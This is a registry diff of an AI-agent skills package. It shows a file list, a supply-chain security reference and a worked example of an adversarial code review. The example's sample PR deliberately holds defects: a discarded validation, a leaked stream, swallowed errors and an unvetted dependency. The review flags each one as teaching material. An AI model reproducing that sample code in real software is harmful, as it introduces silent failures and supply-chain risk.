@vesviet/agent-skills 5.7.3 → 5.10.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (241) hide show
  1. package/INDEX.md +21 -18
  2. package/README.md +11 -10
  3. package/VERSION +1 -1
  4. package/adapters/antigravity/ANTIGRAVITY.md +89 -4
  5. package/adapters/antigravity/INDEX_TIER1.json +1294 -0
  6. package/adapters/antigravity/a2a-config.template.yaml +22 -8
  7. package/adapters/antigravity/role-skill-index.json +48 -19
  8. package/adapters/claude/CLAUDE_ADAPTER.md +1 -1
  9. package/adapters/claude/settings.template.json +7 -3
  10. package/adapters/cursor/hooks.template.json +3 -1
  11. package/core/contracts/README.md +4 -1
  12. package/core/contracts/schemas/INDEX.md +7 -1
  13. package/core/contracts/schemas/a2a-artifact.json +9 -2
  14. package/core/contracts/schemas/a2a-jsonrpc-envelope.json +7 -2
  15. package/core/contracts/schemas/a2a-task-progress.json +15 -4
  16. package/core/contracts/schemas/a2a-task.json +11 -3
  17. package/core/contracts/schemas/agent-card.json +48 -1
  18. package/core/contracts/schemas/agent-skills-discovery.json +91 -0
  19. package/core/contracts/schemas/compliance-report.json +255 -0
  20. package/core/contracts/schemas/mcp-server-card.json +193 -0
  21. package/core/contracts/schemas/seo-content-brief.json +1 -1
  22. package/core/contracts/schemas/seo-weekly-board.json +1 -1
  23. package/core/contracts/schemas/series-article.json +1 -1
  24. package/core/policies/action-boundaries.yaml +334 -2
  25. package/core/policies/mcp-tool-map.yaml +61 -4
  26. package/core/roles/3d-graphics-engineer.md +5 -1
  27. package/core/roles/README.md +1 -1
  28. package/core/roles/agent-coordinator.md +21 -3
  29. package/core/roles/agent-discovery-engineer.md +27 -8
  30. package/core/roles/ai-systems-engineer.md +3 -1
  31. package/core/roles/aws-engineer.md +6 -8
  32. package/core/roles/backend-developer.md +5 -5
  33. package/core/roles/business-analyst.md +4 -2
  34. package/core/roles/cloudflare-engineer.md +4 -2
  35. package/core/roles/content-manager.md +3 -1
  36. package/core/roles/content-writer.md +3 -1
  37. package/core/roles/data-analyst.md +3 -1
  38. package/core/roles/data-engineer.md +3 -1
  39. package/core/roles/devops-engineer.md +9 -9
  40. package/core/roles/ecommerce-engineer.md +7 -7
  41. package/core/roles/frontend-developer.md +10 -8
  42. package/core/roles/game-developer.md +5 -3
  43. package/core/roles/mmo-engineer.md +8 -9
  44. package/core/roles/mobile-engineer.md +5 -3
  45. package/core/roles/product-manager.md +8 -9
  46. package/core/roles/project-manager.md +10 -13
  47. package/core/roles/prompt-engineer.md +6 -4
  48. package/core/roles/qa-engineer.md +9 -9
  49. package/core/roles/references/vietnam-accounting-specialist-review-checklist.md +6 -6
  50. package/core/roles/researcher.md +12 -14
  51. package/core/roles/reverse-engineer.md +5 -2
  52. package/core/roles/reviewer.md +7 -5
  53. package/core/roles/role-standard.md +23 -1
  54. package/core/roles/sdet.md +7 -5
  55. package/core/roles/security-engineer.md +9 -7
  56. package/core/roles/seo-analyst.md +9 -7
  57. package/core/roles/solution-architect.md +8 -9
  58. package/core/roles/sre.md +8 -6
  59. package/core/roles/system-engineer.md +20 -20
  60. package/core/roles/task-planner.md +8 -10
  61. package/core/roles/teacher.md +8 -6
  62. package/core/roles/technical-architect.md +10 -8
  63. package/core/roles/technical-lead.md +9 -7
  64. package/core/roles/technical-writer.md +8 -6
  65. package/core/roles/ui-ux-designer.md +8 -7
  66. package/core/roles/vietnam-accounting-specialist.md +26 -24
  67. package/core/roles/vietnam-legal-counsel.md +6 -4
  68. package/core/rules/code.md +11 -6
  69. package/core/skills/README.md +3 -2
  70. package/core/skills/agent/agent-a2a-protocol/SKILL.md +25 -93
  71. package/core/skills/agent/agent-memory-compaction/SKILL.md +27 -0
  72. package/core/skills/agent/architect-mcp-server/SKILL.md +35 -27
  73. package/core/skills/agent/configure-agent-commerce/SKILL.md +2 -0
  74. package/core/skills/agent/configure-agent-commerce/examples/ucp-commerce-manifest-and-endpoints.json +55 -0
  75. package/core/skills/agent/configure-agent-commerce/references/acp-ucp-agent-commerce-manifest-specs.md +66 -0
  76. package/core/skills/agent/configure-agent-skills/SKILL.md +60 -68
  77. package/core/skills/agent/manage-agent-identity/SKILL.md +2 -0
  78. package/core/skills/agent/manage-agent-identity/examples/agent-identity-spire-workload.yaml +72 -0
  79. package/core/skills/agent/manage-agent-identity/references/nhi-lifecycle-and-token-rotation.md +45 -0
  80. package/core/skills/ai/openrouter-task/SKILL.md +5 -5
  81. package/core/skills/ai-agent/agent-evaluation/resources/eval-benchmarks/eval-cases.json +529 -0
  82. package/core/skills/ai-agent/agent-evaluation/resources/eval-benchmarks/eval-manifest.yaml +61 -0
  83. package/core/skills/ai-agent/agent-evaluation/scripts/run-eval-benchmark.py +856 -0
  84. package/core/skills/ai-agent/agent-evaluation/tests/test_golden_benchmarks.py +248 -0
  85. package/core/skills/ai-agent/context-optimization/SKILL.md +61 -60
  86. package/core/skills/ai-agent/context-optimization/examples/context-pruner-and-reorderer.py +85 -0
  87. package/core/skills/ai-agent/context-optimization/references/token-budgeting-and-attention-allocation.md +47 -0
  88. package/core/skills/ai-agent/memory-hygiene/SKILL.md +13 -0
  89. package/core/skills/ai-agent/memory-hygiene/examples/memory-audit-and-compaction-routine.py +90 -0
  90. package/core/skills/ai-agent/memory-hygiene/references/agent-memory-vault-spec.md +137 -0
  91. package/core/skills/ai-agent/memory-hygiene/references/owasp-asi06-and-memory-poisoning-defense.md +38 -0
  92. package/core/skills/backend/add-api-endpoint/examples/express-zod-rfc9457-endpoint.md +329 -0
  93. package/core/skills/backend/add-api-endpoint/examples/kratos-go-clean-architecture-endpoint.md +405 -0
  94. package/core/skills/backend/add-api-endpoint/references/idempotency-and-rate-limiting.md +116 -0
  95. package/core/skills/backend/add-event-handler/SKILL.md +1 -1
  96. package/core/skills/backend/scaffold-new-service/SKILL.md +2 -1
  97. package/core/skills/backend/scaffold-new-service/references/deep-modules-and-seams.md +43 -0
  98. package/core/skills/business/elicit-requirements/SKILL.md +1 -0
  99. package/core/skills/commerce/handle-checkout-flow/SKILL.md +3 -1
  100. package/core/skills/commerce/handle-checkout-flow/examples/production-checkout-orchestrator.ts +185 -0
  101. package/core/skills/commerce/handle-checkout-flow/references/pci-dss-v4-and-agentic-checkout-specs.md +72 -0
  102. package/core/skills/commerce/integrate-payment-gateway/SKILL.md +3 -1
  103. package/core/skills/commerce/integrate-payment-gateway/examples/resilient-webhook-and-mpp-handler.ts +164 -0
  104. package/core/skills/commerce/integrate-payment-gateway/references/mpp-x402-and-webhook-security-specs.md +47 -0
  105. package/core/skills/commerce/manage-order-fulfillment/SKILL.md +3 -1
  106. package/core/skills/commerce/manage-order-fulfillment/examples/temporal-fulfillment-saga.ts +104 -0
  107. package/core/skills/commerce/manage-order-fulfillment/references/event-sourced-fulfillment-and-carrier-webhooks.md +58 -0
  108. package/core/skills/commerce/manage-product-catalog/SKILL.md +3 -1
  109. package/core/skills/commerce/manage-product-catalog/examples/hybrid-search-and-governance-pipeline.ts +120 -0
  110. package/core/skills/commerce/manage-product-catalog/references/semantic-vector-catalog-and-graphrag.md +54 -0
  111. package/core/skills/content/write-article/SKILL.md +1 -1
  112. package/core/skills/document/pdf/SKILL.md +1 -0
  113. package/core/skills/document/pdf/references/pdf-acroforms-and-pdfplumber-specs.md +54 -0
  114. package/core/skills/document/pdf/scripts/check_fillable_fields.py +144 -0
  115. package/core/skills/document/pdf/scripts/fill_fillable_fields.py +145 -0
  116. package/core/skills/documentation/configure-llms-txt/SKILL.md +2 -0
  117. package/core/skills/documentation/configure-llms-txt/examples/canonical-llms-txt-and-full-txt.md +45 -0
  118. package/core/skills/documentation/configure-llms-txt/references/llms-txt-and-llms-full-txt-standard.md +37 -0
  119. package/core/skills/documentation/write-documentation/SKILL.md +3 -1
  120. package/core/skills/documentation/write-documentation/examples/microservice-production-readme-and-api-docs.md +70 -0
  121. package/core/skills/documentation/write-documentation/references/diataxis-framework-and-doc-standards.md +62 -0
  122. package/core/skills/foundation/ai-risk-assessment/SKILL.md +3 -5
  123. package/core/skills/foundation/ai-risk-assessment/examples/genai-system-risk-register.md +67 -0
  124. package/core/skills/foundation/ai-risk-assessment/references/nist-ai-rmf-and-eu-ai-act-taxonomy.md +49 -0
  125. package/core/skills/foundation/conduct-research/SKILL.md +1 -1
  126. package/core/skills/foundation/discernment-nudge/SKILL.md +1 -0
  127. package/core/skills/foundation/plan-technical-delivery/SKILL.md +2 -1
  128. package/core/skills/foundation/release-notes/SKILL.md +2 -3
  129. package/core/skills/foundation/release-notes/examples/enterprise-platform-release-notes.md +42 -0
  130. package/core/skills/foundation/release-notes/references/keep-a-changelog-and-semver-governance.md +43 -0
  131. package/core/skills/foundation/systematic-debugging/SKILL.md +5 -0
  132. package/core/skills/foundation/write-tests/examples/anti-tautological-tdd-walkthrough.md +204 -0
  133. package/core/skills/foundation/write-tests/examples/testcontainers-kratos-integration-test.md +186 -0
  134. package/core/skills/foundation/write-tests/references/contract-and-chaos-testing.md +187 -0
  135. package/core/skills/frontend/INDEX.json +16 -0
  136. package/core/skills/frontend/add-page-route/SKILL.md +3 -1
  137. package/core/skills/frontend/add-page-route/examples/streaming-rsc-page-with-view-transition.tsx +133 -0
  138. package/core/skills/frontend/add-page-route/references/rsc-routing-and-view-transitions.md +72 -0
  139. package/core/skills/frontend/add-ui-component/SKILL.md +3 -1
  140. package/core/skills/frontend/add-ui-component/examples/compound-dialog-and-form-actions.tsx +193 -0
  141. package/core/skills/frontend/add-ui-component/references/react19-component-standards-and-anti-slop.md +55 -0
  142. package/core/skills/frontend/component-composition/SKILL.md +2 -1
  143. package/core/skills/frontend/component-composition/examples/headless-combobox-compound-component.tsx +207 -0
  144. package/core/skills/frontend/frontend-testing/SKILL.md +3 -1
  145. package/core/skills/frontend/frontend-testing/examples/playwright-e2e-with-msw-and-axe.spec.ts +87 -0
  146. package/core/skills/frontend/frontend-testing/references/playwright-msw-and-a11y-testing-standards.md +78 -0
  147. package/core/skills/frontend/implement-ai-disclosure/SKILL.md +118 -0
  148. package/core/skills/frontend/implement-webmcp/SKILL.md +3 -1
  149. package/core/skills/frontend/implement-webmcp/examples/webmcp-provider-and-hitl-modal.tsx +163 -0
  150. package/core/skills/frontend/implement-webmcp/references/webmcp-architecture-and-hitl-security.md +48 -0
  151. package/core/skills/frontend/integrate-api-client/SKILL.md +3 -1
  152. package/core/skills/frontend/integrate-api-client/examples/orval-query-and-streaming-mutation.ts +102 -0
  153. package/core/skills/frontend/integrate-api-client/references/orval-tanstack-query-and-streaming-specs.md +57 -0
  154. package/core/skills/frontend/setup-design-system/SKILL.md +3 -1
  155. package/core/skills/frontend/setup-design-system/examples/tailwind-v4-theme-and-dtcg-tokens.css +87 -0
  156. package/core/skills/frontend/setup-design-system/references/tailwind-v4-oklch-and-dtcg-tokens.md +61 -0
  157. package/core/skills/frontend/setup-visual-regression/SKILL.md +3 -1
  158. package/core/skills/frontend/setup-visual-regression/examples/visual-regression-playwright.config.ts +83 -0
  159. package/core/skills/frontend/setup-visual-regression/references/visual-regression-docker-and-masking-specs.md +46 -0
  160. package/core/skills/gamedev/abstract-input-actions/SKILL.md +2 -0
  161. package/core/skills/gamedev/abstract-input-actions/examples/input-action-manager.ts +85 -0
  162. package/core/skills/gamedev/abstract-input-actions/references/action-mapping-and-analog-deadzones.md +54 -0
  163. package/core/skills/gamedev/architect-ecs-systems/SKILL.md +2 -0
  164. package/core/skills/gamedev/architect-ecs-systems/examples/bevy-flecs-combat-system.rs +73 -0
  165. package/core/skills/gamedev/architect-ecs-systems/references/data-oriented-design-and-archetype-ecs.md +39 -0
  166. package/core/skills/gamedev/author-game-ai/SKILL.md +2 -0
  167. package/core/skills/gamedev/author-game-ai/examples/modular-behavior-tree-ai.ts +98 -0
  168. package/core/skills/gamedev/author-game-ai/references/behavior-trees-and-utility-ai-curves.md +47 -0
  169. package/core/skills/gamedev/configure-physics-collision/SKILL.md +2 -0
  170. package/core/skills/gamedev/configure-physics-collision/examples/kinematic-physics-substepping.cpp +100 -0
  171. package/core/skills/gamedev/configure-physics-collision/references/continuous-collision-detection-and-substepping.md +50 -0
  172. package/core/skills/gamedev/develop-gameplay-systems/SKILL.md +2 -0
  173. package/core/skills/gamedev/develop-gameplay-systems/examples/kinematic-character-controller.gd +86 -0
  174. package/core/skills/gamedev/develop-gameplay-systems/references/deterministic-gameplay-state-machines.md +42 -0
  175. package/core/skills/gamedev/implement-save-persistence/SKILL.md +2 -0
  176. package/core/skills/gamedev/implement-save-persistence/examples/versioned-save-manager.ts +127 -0
  177. package/core/skills/gamedev/implement-save-persistence/references/versioned-save-schemas-and-checksums.md +44 -0
  178. package/core/skills/gamedev/render-webgl-threejs/SKILL.md +2 -0
  179. package/core/skills/gamedev/render-webgl-threejs/examples/production-threejs-webgpu-scene.ts +116 -0
  180. package/core/skills/gamedev/render-webgl-threejs/references/webgpu-threejs-pbr-pipeline.md +56 -0
  181. package/core/skills/mmo/analyze-campaign-roi/SKILL.md +2 -0
  182. package/core/skills/mmo/analyze-campaign-roi/examples/campaign-roi-and-roas-dashboard.py +80 -0
  183. package/core/skills/mmo/analyze-campaign-roi/references/multi-touch-attribution-and-cpa-analytics.md +33 -0
  184. package/core/skills/mmo/create-automation-script/SKILL.md +2 -0
  185. package/core/skills/mmo/create-automation-script/examples/stealth-browser-automation-flow.ts +65 -0
  186. package/core/skills/mmo/create-automation-script/references/stealth-cdp-and-behavioral-mimicry.md +37 -0
  187. package/core/skills/mmo/deploy-mmo-infrastructure/SKILL.md +2 -0
  188. package/core/skills/mmo/deploy-mmo-infrastructure/examples/proxy-health-probe-and-rotation-daemon.py +75 -0
  189. package/core/skills/mmo/deploy-mmo-infrastructure/references/proxy-pool-rotation-and-anti-detect-specs.md +45 -0
  190. package/core/skills/mmo/deploy-proxyware-fleet/SKILL.md +2 -0
  191. package/core/skills/mmo/deploy-proxyware-fleet/examples/docker-compose-depin-light-node-fleet.yaml +52 -0
  192. package/core/skills/mmo/deploy-proxyware-fleet/references/depin-bandwidth-monetization-node-specs.md +43 -0
  193. package/core/skills/mmo/generate-mmo-content/SKILL.md +2 -0
  194. package/core/skills/mmo/generate-mmo-content/examples/pseo-programmatic-page-generator.ts +76 -0
  195. package/core/skills/mmo/generate-mmo-content/references/pseo-landing-pages-and-social-video-hooks.md +39 -0
  196. package/core/skills/mmo/manage-mmo-assets/SKILL.md +2 -0
  197. package/core/skills/mmo/manage-mmo-assets/examples/mmo-asset-vault-manager.py +63 -0
  198. package/core/skills/mmo/manage-mmo-assets/references/mmo-asset-rbac-and-vault-isolation.md +38 -0
  199. package/core/skills/mmo/setup-tracking-system/SKILL.md +2 -0
  200. package/core/skills/mmo/setup-tracking-system/examples/meta-capi-s2s-event-dispatcher.ts +79 -0
  201. package/core/skills/mmo/setup-tracking-system/references/server-to-server-postback-and-capi-specs.md +45 -0
  202. package/core/skills/platform/add-telemetry-instrumentation/SKILL.md +2 -0
  203. package/core/skills/platform/add-telemetry-instrumentation/examples/kratos-otel-middleware-instrumentation.go +87 -0
  204. package/core/skills/platform/add-telemetry-instrumentation/references/opentelemetry-semantic-conventions-2026.md +37 -0
  205. package/core/skills/platform/aws-infrastructure/SKILL.md +2 -0
  206. package/core/skills/platform/aws-infrastructure/examples/opentofu-eks-pod-identity-vpc.tf +101 -0
  207. package/core/skills/platform/aws-infrastructure/references/opentofu-aws-zero-trust-and-irsa.md +40 -0
  208. package/core/skills/platform/setup-deployment/SKILL.md +4 -0
  209. package/core/skills/platform/setup-deployment/examples/kustomize-production-service-manifests.yaml +123 -0
  210. package/core/skills/platform/setup-deployment/references/interactive-hitl-wizard.md +55 -0
  211. package/core/skills/platform/setup-deployment/references/k8s-gitops-and-kustomize-invariants.md +40 -0
  212. package/core/skills/platform/supply-chain-security/SKILL.md +2 -0
  213. package/core/skills/platform/supply-chain-security/examples/github-actions-sbom-cosign.yaml +57 -0
  214. package/core/skills/platform/supply-chain-security/references/slsa-provenance-and-sbom-sigstore.md +60 -0
  215. package/core/skills/product/build-story-map/SKILL.md +2 -0
  216. package/core/skills/repo-ops/review-code/SKILL.md +2 -2
  217. package/core/skills/repo-ops/review-code/examples/adversarial-two-axis-pr-review.md +167 -0
  218. package/core/skills/repo-ops/review-code/examples/ai-vibe-slop-remediation.md +220 -0
  219. package/core/skills/repo-ops/review-code/references/supply-chain-and-migration-safety.md +103 -0
  220. package/core/skills/repo-ops/review-service/SKILL.md +1 -1
  221. package/core/skills/security-data/database-maintenance/SKILL.md +1 -1
  222. package/core/skills/security-data/manage-secrets/SKILL.md +2 -0
  223. package/core/skills/security-data/manage-secrets/examples/external-secrets-vault-crds.yaml +53 -0
  224. package/core/skills/security-data/manage-secrets/references/zero-trust-secret-rotation-and-eso.md +30 -0
  225. package/core/skills/security-data/manage-vietnam-accounting/SKILL.md +7 -7
  226. package/core/skills/security-data/prompt-injection-defense/SKILL.md +2 -0
  227. package/core/skills/security-data/prompt-injection-defense/examples/bounded-tool-execution-wrapper.py +78 -0
  228. package/core/skills/security-data/prompt-injection-defense/references/prompt-injection-taxonomy-and-delimiters.md +37 -0
  229. package/core/skills/security-data/reverse-engineer-binary/SKILL.md +2 -0
  230. package/core/skills/security-data/reverse-engineer-binary/examples/binary-triage-and-vulnerability-dossier.md +58 -0
  231. package/core/skills/security-data/reverse-engineer-binary/references/ghidra-radare2-and-rea-evidence-ledgers.md +43 -0
  232. package/core/skills/security-data/security-audit/SKILL.md +3 -1
  233. package/core/skills/security-data/security-audit/examples/enterprise-service-security-audit-report.md +54 -0
  234. package/core/skills/security-data/security-audit/references/owasp-asi-and-cvss4-threat-modeling.md +39 -0
  235. package/core/skills/security-data/skill-preflight-ast-check/SKILL.md +2 -0
  236. package/core/skills/security-data/skill-preflight-ast-check/references/ast-lethal-trifecta-and-static-vetting.md +38 -0
  237. package/core/skills/security-data/skill-preflight-ast-check/scripts/scan-skill-ast.py +127 -0
  238. package/overlays/README.md +1 -1
  239. package/overlays/security-research/README.md +1 -1
  240. package/package.json +2 -2
  241. package/overlays/security-research/skills/reverse-engineer-binary/SKILL.md +0 -129
@@ -0,0 +1,60 @@
1
+ # SLSA Level 3 Provenance, CycloneDX v1.6 SBOM, and Sigstore Signing (2026)
2
+
3
+ ## 1. SLSA Level 3+ Build Provenance
4
+
5
+ ### 1.1 Hermetic Isolated Build Environments
6
+ Production workloads must satisfy SLSA v1.2 Build Level 3 invariants:
7
+ - **Build Isolation**: Builds execute within dedicated ephemeral runners preventing cross-build cache pollution or unauthorized network tampering.
8
+ - **Source Verification**: All build steps pin dependencies and actions to immutable 40-character Git commit SHAs rather than mutable tag references.
9
+ - **Signed in-toto Attestations**: Build systems emit tamper-evident in-toto provenance statements (`provenance.intoto.jsonl`) cryptographically linking the output container digest to the source commit.
10
+
11
+ ---
12
+
13
+ ## 2. CycloneDX v1.6 SBOM & AI Model Attestations
14
+
15
+ ### 2.1 Software and AI/ML Bill of Materials
16
+ - **Comprehensive Dependency Inventory**: Every component (direct, transitive, build tools) must record its Package URL (pURL), cryptographic hash (SHA-256), and validated license.
17
+ - **AI/ML BOM Requirements (EU AI Act Article 13)**:
18
+ CycloneDX v1.6 includes dedicated schema definitions for machine learning assets:
19
+ - Model weights SHA-256 digests.
20
+ - Training dataset lineage and preprocessing pipeline hashes.
21
+ - Quantization precision metadata (e.g. FP8, INT4 AWQ).
22
+
23
+ ---
24
+
25
+ ## 3. Keyless Artifact Signing via Sigstore & Cosign
26
+
27
+ ### 3.1 Ephemeral OIDC Workload Identity
28
+ Cosign keyless signing binds signatures to the CI/CD pipeline's OpenID Connect (OIDC) identity without requiring long-lived private keys:
29
+ - **Fulcio CA**: Issues short-lived X.509 signing certificates (valid for 10 minutes) bound to GitHub Actions / GitLab CI OIDC identity tokens.
30
+ - **Rekor Transparency Log**: Publishes immutable cryptographic proofs of signature creation to a public transparency ledger.
31
+ - **Verification Gate**:
32
+ ```bash
33
+ cosign verify \
34
+ --certificate-identity "https://github.com/my-org/my-repo/.github/workflows/release.yaml@refs/heads/main" \
35
+ --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
36
+ ghcr.io/my-org/my-service:v2.0.0
37
+ ```
38
+
39
+ ---
40
+
41
+ ## 4. OpenVEX Vulnerability Context
42
+
43
+ Every release publishes OpenVEX context alongside the SBOM, preventing false alarms on dead or unreachable transitive code paths:
44
+ ```json
45
+ {
46
+ "@context": "https://openvex.dev/ns/v0.2.0",
47
+ "@id": "https://corp.example/vex/release-2.0.0",
48
+ "author": "SecOps Automation",
49
+ "timestamp": "2026-11-08T09:00:00Z",
50
+ "statements": [
51
+ {
52
+ "vulnerability": {"name": "CVE-2024-45338"},
53
+ "products": [{"@id": "pkg:golang/golang.org/x/net@0.33.0"}],
54
+ "status": "not_affected",
55
+ "justification": "code_not_reachable",
56
+ "impact_statement": "The vulnerable HTTP/2 rapid reset handler is not invoked in this gRPC-only daemon."
57
+ }
58
+ ]
59
+ }
60
+ ```
@@ -37,6 +37,8 @@ Use this skill to structure product requirements into multidimensional User Stor
37
37
  - Map explicit dependency arrows between cross-functional delivery tasks
38
38
  - Calculate Early Start (ES), Early Finish (EF), Late Start (LS), and Late Finish (LF)
39
39
  - Identify the **Critical Path**: sequence of dependent tasks where $\text{Float} = \text{LS} - \text{ES} = 0$; any delay on this path directly delays project launch
40
+ - **Tracer-Bullet Slice & Dependency Frontier (`Blocked by`)**:
41
+ - Size each active-swimlane story as an end-to-end tracer bullet fitted to one execution context and annotate explicit `Blocked by` edges so delivery coordinators can resolve the parallelizable frontier
40
42
  - **Structured A2A Delivery Handoff**:
41
43
  - Every mapped story must be ready for export into `core/contracts/schemas/feature-ticket.json`
42
44
  - Detailed worked examples, CPM calculations, and mermaid templates: [`references/story-mapping-and-cpm-scheduling.md`](references/story-mapping-and-cpm-scheduling.md)
@@ -1,6 +1,6 @@
1
1
  ---
2
2
  name: review-code
3
- description: Review a diff since a fixed point along two separate axes — Standards (does the code follow this repo's documented standards plus a fixed smell baseline?) and Spec (does it faithfully implement the originating issue or spec?). Runs both axes as parallel sub-agents and reports them side by side without reranking. Use for PR reviews, "review since X", local change reviews, and pre-merge audits.
3
+ description: Review a diff since a fixed point along two separate axes — Standards (conformance to documented standards and smell baseline) and Spec (faithful requirement delivery) — reported side by side without reranking. Use when performing PR reviews, 'review since X' audits, local change reviews, adversarial anti-slop checks, or pre-merge gates.
4
4
  allowed-tools: [read_file, write_file, edit_file, create_file, search_code, run_tests, run_linter, run_build, execute_command]
5
5
  ---
6
6
 
@@ -19,7 +19,7 @@ Use this skill to perform adversarial code reviews across two independent axes (
19
19
  ## Core Rules
20
20
 
21
21
  - **Adversarial anti-slop review**: assume diffs may pass CI superficially; rigorously probe for phantom validations, silent error swallowing (`catch { return null; }`), mock collusion, and hollow abstractions per [`references/adversarial-review-rubric.md`](references/adversarial-review-rubric.md)
22
- - **Two-axis independence**: evaluate **Standards** (coding standards + smell baseline) and **Spec** (faithful requirement delivery) as parallel, unmerged streams; never cross-rank or allow one axis to mask the other
22
+ - **Two-axis independence & 12 Fowler Smells Baseline**: evaluate **Standards** (conformance + 12 Fowler smells: *Duplicated Code, Long Function, Long Parameter List, Divergent Change, Shotgun Surgery, Feature Envy, Data Clumps, Primitive Obsession, Repeated Switches, Loops, Lazy Element, Speculative Generality*) and **Spec** (faithful requirement delivery) as parallel, unmerged streams (each summary ≤400 words); classify each finding as **Hard Breach** vs **Judgement Call**, tag risk as **1-Way Door** (irreversible) vs **2-Way Door** (reversible), and never cross-rank axes
23
23
  - **AI bug heuristics**: actively search for AI defect signatures: hallucinated APIs/flags, subtle async race conditions, context-window truncation (dropped switch branches), and over-defensive null coalescing
24
24
  - **Systematic resource leak audit**: inspect every lifecycle boundary for unclosed HTTP response bodies, file descriptors, unmanaged background goroutines/threads, unbounded memory caches, and DB connection pool starvation
25
25
  - **Backward compatibility & wire safety**: enforce zero-downtime Expand/Contract patterns on database migrations; reject breaking wire schema modifications on active API versions
@@ -0,0 +1,167 @@
1
+ # Worked Example: Adversarial Two-Axis Code Review Walkthrough
2
+
3
+ This worked example demonstrates an Adversarial Two-Axis Pull Request Review of an AI-generated pull request, contrasting Standards (code smells, concurrency, security, resource leaks) against Specification (contract conformance, edge cases), and emitting the standard `contracts/schemas/code-review-finding.json` payload.
4
+
5
+ ---
6
+
7
+ ## 1. Incoming Pull Request Diff (`PR #418: Add User Profile Sync`)
8
+
9
+ ```diff
10
+ --- a/package.json
11
+ +++ b/package.json
12
+ @@ -24,7 +24,8 @@
13
+ "express": "^4.21.0",
14
+ - "zod": "^3.23.0"
15
+ + "zod": "^3.23.0",
16
+ + "telemetry-collect": "^0.1.2"
17
+ }
18
+ }
19
+
20
+ --- a/src/services/user-sync.ts
21
+ +++ b/src/services/user-sync.ts
22
+ @@ -10,18 +10,38 @@
23
+ export class UserSyncService {
24
+ constructor(private db: Database, private client: HttpClient) {}
25
+
26
+ + async syncUserProfile(userId: string, payload: any): Promise<any> {
27
+ + // Validate email format
28
+ + if (payload.email) {
29
+ + /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(payload.email);
30
+ + }
31
+ +
32
+ + // Fetch current user from external CRM
33
+ + const response = await this.client.get(`https://crm.internal/api/v1/users/${userId}`);
34
+ + // Note: Stream not closed
35
+ + const crmData = await response.json();
36
+ +
37
+ + // Update local database
38
+ + try {
39
+ + const updated = await this.db.users.update({
40
+ + where: { id: userId },
41
+ + data: {
42
+ + email: payload.email || crmData.email,
43
+ + name: payload.name || crmData.name
44
+ + }
45
+ + });
46
+ + return updated;
47
+ + } catch (err) {
48
+ + // Silent error swallowing
49
+ + return null;
50
+ + }
51
+ + }
52
+ ```
53
+
54
+ ---
55
+
56
+ ## 2. Axis 1 — Standards Sub-Agent Report
57
+
58
+ ```markdown
59
+ ### Standards Review Findings
60
+
61
+ 1. **[Fowler Smell: Dead Code / Phantom Validation]** (`src/services/user-sync.ts:15`)
62
+ - **Finding**: `/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(payload.email);` evaluates the regular expression, but the boolean result is completely discarded. Invalid emails silently pass through to the database.
63
+ - **Remediation**: Check the return value or replace with schema-first validation: `if (!EMAIL_REGEX.test(payload.email)) throw new ValidationError("Invalid email format");`.
64
+
65
+ 2. **[Resource Leak: Unclosed HTTP Stream]** (`src/services/user-sync.ts:19`)
66
+ - **Finding**: `this.client.get` opens an HTTP connection. If `response.json()` throws a JSON parse exception, the underlying socket handle is not destroyed, leading to connection pool exhaustion under load.
67
+ - **Remediation**: Wrap in `try ... finally` and invoke `response.body.destroy()` or use an auto-disposing HTTP client.
68
+
69
+ 3. **[AI Anti-Pattern: Silent Error Swallowing]** (`src/services/user-sync.ts:33`)
70
+ - **Finding**: Indiscriminate `catch (err) { return null; }` suppresses database unique constraint violations, connection timeouts, and disk failures, returning `null` as if the update succeeded.
71
+ - **Remediation**: Catch specific business errors, rethrow unexpected exceptions, and propagate an RFC 9457 structured problem details envelope.
72
+
73
+ 4. **[Supply Chain Hazard: Unpinned & Unverified Dependency]** (`package.json:28`)
74
+ - **Finding**: Introduces `telemetry-collect: ^0.1.2`. Package has no repository stars, was published 48 hours ago, and uses loose carat (`^`) pinning.
75
+ - **Remediation**: Remove dependency immediately. Re-evaluate utility against vetted organizational libraries.
76
+ ```
77
+
78
+ ---
79
+
80
+ ## 3. Axis 2 — Specification Sub-Agent Report
81
+
82
+ ```markdown
83
+ ### Specification Review Findings
84
+
85
+ 1. **[Missing Acceptance Criteria: Atomic Idempotency]**
86
+ - **Finding**: Specification Requirement AC-2 mandates that concurrent sync requests for the same `userId` must not cause race conditions or overwriting with stale CRM data. The PR lacks distributed locking or version precondition checks (`If-Match` / `ETag`).
87
+
88
+ 2. **[Contract Violation: Return Types]**
89
+ - **Finding**: Feature contract `api-contract-spec.json` defines return type as `UserProfile` with mandatory `updatedAt` and `syncStatus` fields. Returning `null` on failure violates the non-nullable API schema contract.
90
+ ```
91
+
92
+ ---
93
+
94
+ ## 4. Aggregated Side-by-Side Review Report
95
+
96
+ | Axis | Domain | File & Line | Severity | Description | Actionable Suggestion |
97
+ |---|---|---|---|---|---|
98
+ | **Standards** | Correctness | `user-sync.ts:15` | `blocking` | Phantom regex validation result is discarded. | Enforce check or validate with Zod boundary schema. |
99
+ | **Standards** | Reliability | `user-sync.ts:19` | `important` | HTTP response body stream is not protected by finally cleanup. | Add scoped resource disposal. |
100
+ | **Standards** | Maintainability | `user-sync.ts:33` | `blocking` | Error swallowed returning null without logging or metrics. | Bubble up typed domain error with trace_id. |
101
+ | **Standards** | Security | `package.json:28` | `blocking` | Unvetted dependency `telemetry-collect` introduced. | Remove package and audit supply chain provenance. |
102
+ | **Spec** | Conformance | `user-sync.ts:13` | `blocking` | Lacks concurrency locks and violates return contract. | Add atomic optimistic concurrency check. |
103
+
104
+ ---
105
+
106
+ ## 5. Emitted Structured Contract Payload (`contracts/schemas/code-review-finding.json`)
107
+
108
+ ```json
109
+ {
110
+ "contract_type": "code-review-finding",
111
+ "review_id": "2026-11-08-pr-418-user-profile-sync",
112
+ "created_at": "2026-11-08T11:00:00Z",
113
+ "change_ref": "PR #418 — Add User Profile Sync",
114
+ "change_type": "feature",
115
+ "findings": [
116
+ {
117
+ "finding_id": "F-01",
118
+ "file": "src/services/user-sync.ts",
119
+ "line": 15,
120
+ "severity": "blocking",
121
+ "domain": "correctness",
122
+ "description": "Phantom regex validation: return value of RegExp.test() is discarded.",
123
+ "suggestion": "Validate with Zod schema or early-return 400 error if regex fails.",
124
+ "confidence": "confirmed"
125
+ },
126
+ {
127
